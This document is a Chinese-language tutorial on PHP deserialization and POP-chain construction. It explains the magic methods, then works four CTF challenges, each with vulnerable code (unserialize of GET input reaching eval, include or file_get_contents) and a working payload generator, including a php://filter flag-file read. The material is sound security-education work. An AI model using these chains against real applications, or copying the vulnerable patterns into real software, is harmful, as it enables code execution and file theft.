[反序列化]POP链
PHP 中 POP 链构造的学习
[反序列化]构造POP链
在学习如何构造反序列化之前我们要先了解一下常用的魔术方法及其触发条件
反序列化中常见的魔术方法
__wakeup() //将在字符串被反序列化之后被立即调用,就是说看到unserialize后就会被立即调用
__sleep() //执行serialize()时,先会调用这个函数,用于指定哪些指令会被序列化保存下来
__construct() //当对象创建时会自动调用(但在unserialize()时是不会自动调用的)
__destruct() //对象被销毁时自动调用
__call() //在对象上下文中调用不可访问(不存在)的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在的类属性时都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
__invoke() //当尝试将对象调用为函数时触发
在我们的攻击中,反序列化函数unserialize()
是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现unserialize()
函数的类的对象,如果只能局限于当前类,那我们的攻击面也太狭小了,这个类不调用危险的方法我们就没法发起攻击。
但是我们又知道,你反序列化了其他的类对象以后我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但是没关系,因为我们有魔术方法。
魔术方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。
__construct()
和 __destruct()
__construct
:当对象创建时会自动调用,注意是创建的时候,也就是说有new
的时候就会调用,在unserialize
时是不会被自动调用的
__destruct()
:当对象被销毁时会自动调用;当新对象创建后,它后面一定会被自动销毁,也就是调用__construct
后一定会调用__destruct
;或者我们直接传入一个对象,它后面被销毁时也会调用__destruct
可以看到,创建对象e时调用了__construct
,然后输出序列化后的对象t
,最后在销毁对象t
时调用了__destruct
再看这个,我们没有创建对象,而是直接传入了一个对象,所以说它没有调用__construct
却调用了__destruct
最后看这个,因为我们既创建了对象t
,也传入了对象,所以说它__destruct
被调用了两次,因为它两个对象最后都会被销毁
__sleep()
和 __wakeup()
__sleep()
:在对象被序列化之前被调用,就是说看到serialize
时就会被调用,而且是先调用后再执行序列化
__wakeup()
: 将在字符串被反序列化之后被立即调用,就是说看到unserialize
后就会被立即调用
在看到serialize($b)
后,它是先调用了__sleep()
魔法函数,然后才执行了echo
,输出了字符串
直接输入了字符串,当它执行了unserialize
转换成对象后,就会最先调用__wakeup()
,它的优先级最高
__toString()
__toString()
魔术方法是最为最要的,在构造pop链中它往往是很关键的一环,在很多种情况下都会被调用,主要是下面这些:
echo($obj)
或print($obj)
打印对象时会触发- 反序列化对象与字符串连接时
- 反序列化对象参与格式化字符串时
- 反序列化对象与字符串进行
preg_match
正则匹配),因为php进行弱比较时会转换参数类型,相当于都转换成字符串进行比较 - 反序列化对象参与格式化sql语句时,绑定参数时(用的少)
- 反序列化对象经过php字符串函数时,如
strlen()
,addslashes()
时(用的少) - 在
in_array()
方法中,第一个参数是反序列化对象,第二个参数的数组中有tostring
返回的字符串的时候tostring
会被调用 - 反序列化对象作为
class_exists()
的参数的时候(用的少)
通过看它被调用的情况,不难总结出,当对象被当成了字符串的时候,__toString()
就会被调用,无论是将对象打印出来,还是将对象去与字符串进行比较,它都会被调用;这里要注意的是,必须要操作的是对象的时候,才会被调用
新建了对象t
就直接打印它,照理说肯定是不会有任何回显的,因为只有字符串能被打印,对象肯定是不能被直接打印的,需要先将它序列化成字符串后才可以打印;但我们这直接打印发现它居然有输出,就是因为它按照操作字符串的方法去操作了对象,所以说调用了__toString()
,然后将它的返回值输出了出来
再来看一个与字符串连接的例子,变量t
被当成了字符串,然后与t1
完成了连接
__invoke()
__invoke
:当尝试以调用函数的方式调用一个对象时,__invoke()
方法会被自动调用,而调用函数的方式就是在后面加上()
,当我们看到像return $function();
这种语句时,就应该意识到后面可能会调用__invoke()
,下图是直接在对象后面加()
调用
需要注意的是,这个魔术方法只在PHP 5.3.0 及以上版本有效
__get()
和 __set()
__get()
:从不可访问的属性中读取数据,或者说是调用一个类及其父类方法中未定义属性时
__set()
:当给一个未定义的属性赋值时,或者修改一个不能被修改的属性时(private
protected
)(用的不多)
echo
语句调用了__toString()
,然后它返回的是当前对象的t
属性,但我们是没有定义t
这个属性的,所以说会调用__get()
,然后将返回值打印出来
__call()
和 __callStatic()
__call
:在对象中调用类中不存在的方法时,或者是不可访问方法时被调用
__callStatic
:在静态上下文中调用一个不可访问静态方法时被调用(用的不多)
比如说像这段代码,我们调用对象t
中的方法t2
,但因为类中没有方法t2
,所以说就调用了__call()
POP链
前面所讲解的序列化攻击更多的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的
构造思路
找思路从尾到头
任何一条链子的构造,我们都要先找到它的头和尾,pop链也不例外,pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了;在ctf中,头部一般都会是GET或者POST传参,然后可能就有一个unserialize
直接将我们传入的参数反序列化了,尾部都是拿flag的地方;然后一环连着一环构成pop链
构造小技巧
先将每个类赋值给各个变量,构造从头到尾,根据顺序哪个类中的对象指向另一个类
比如Show
类__wakeup
魔术方法中的source
属性指向Show
类__toString
魔术方法中的str
属性,分开了说就是Show
类中的source
属性指向Show
类所以才有了$a -> source = $b;
例题1——Level 0
比如说这个例子,危险函数应该是evil
类中的action
方法,里面有个eval
,但action
方法并不是魔术方法,一般情况下我们是很难调用它的,但我们看到test
类中的__destruct()
调用了action
方法,但在__construct()
中可以看出它创建了一个normal
类的对象,然后调用的是normal
类中的action
方法;这个就很好办,我们把魔术方法中的属性改一下,改成创建一个evil
类的对象,那它自然调用的就是evil
类中的action
方法了
<?php
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "HelloWorld";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['a']);
?>
因为ClassObj
属性是protected
属性,不能在类外面访问它,所以说我们得在test类里面写一个__construct()
来完成这个操作,构造 POP 链
<?php
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data='phpinfo();';
}
$a = new test();
echo urlencode(serialize($a));
?>
//O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
例题2——Level 1
先找链子的头和尾,头部明显是GET传参,尾部是Uwant类中的getshell
,然后往上倒推,Uwant类中的__get()
中调用了getshell
,Show类中的toString
调用了__get()
,然后Hello类中的__destruct()
,而我们GET传参之后会先进入__destruct()
,这样子头和尾就连上了,所以说完整的链子就是:
头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){
return $this->getshell($this->params);
}
public function getshell($value)
{
eval($this->params);
}
}
$a = $_GET['a'];
unserialize($a);
?>
在Hello类中我们要把$this->str
赋值成对象,下面echo
出来才能调用Show类中的__toString()
,然后再把Show类中的$this->str['str']
赋值成对象,来调用Uwant类中的__get()
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b; // Hello.str = new Show()
$b -> str['str'] = $c; // Show.str['str'] = new Uwant()
echo urlencode(serialize($a));
例题3——[MRCTF2020]Ezpop
<?php
class Modifier {
protected $var;
public function append($value){
include($value); // 5.尾部
}
public function __invoke(){
$this->append($this->var); // 5.调用 append
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ // 3.preg_match时调用,调用 __get
return $this->str->source;
}
public function __wakeup(){ // 2.反序列化之后最先进入 __wakeup
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
// __toString 需要将类的对象当作字符串处理,只要 preg_match 认为 source 是一个类的对象,假如这里成功赋值为对象,那么将调用的是这个作为值的对象的 __toString
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){ // 4.访问不存在对象时调用
$function = $this->p;
return $function(); // 调用 Modifier 类中的 __invoke
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']); // 1.头部
}
else{
$a=new Show;
highlight_file(__FILE__);
}
思路分析:仍然是先找链子的头和尾,头部依然是一个GET
传参,而尾部在Modifier
类中的append()
方法中,因为里面有个include
可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,找到尾部之后往前倒推,在Modifier
类中的__invoke()
调用了append()
,然后在Test
类中的__get()
返回的是$function()
,可以调用__invoke()
,再往前Show
类中的__toString()
可以调用__get()
,然后在Show
类中的__wakeup()
中有一个正则匹配,可以调用__toString()
,然后当我们传入字符串,反序列化之后最先进入的就是__wakeup()
,这样子头和尾就连上了
头 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾
POP链:
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a -> source = $b;
$b -> str = $c;
$c -> p = $d;
echo urlencode(serialize($a));
例题4——2021 强网杯 赌徒
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){ // 3.调用 __toString
echo $this->name;
return 'ok';
}
public function __wakeup(){ // 2.反序列化后马上 __wakeup,调用 __sayhello
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){ // 4. __get 中有不存在的属性,调用 __get
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){ // 5.调用 __invoke
$function = $this->a;
return $function();
}
public function Get_hint($file){ //7.尾,文件读取
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){ // 6.调用 Get_hint
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']); // 1.头
}else{
$hi = new Start();
}
?>
分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到Room类中有个Get_hint()
方法,里面有一个file_get_contents
,可以实现任意文件读取,我们就可以利用这个读取flag
文件了,然后就是往前倒推,Room类中__invoke()
方法调用了Get_hint()
,然后Room类的__get()
里面有个return $function()
可以调用__invoke()
,再往前看,Info类中的__toString()
中有Room类中不存在的属性,所以可以调用__get()
,然后Start类中有个_sayhello()
可以调用__toString()
,然后在Start类中__wakeup()
方法中直接调用了_sayhello()
,而我们知道的是,输入字符串之后就会先进入__wakeup()
,这样头和尾就连上了
头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>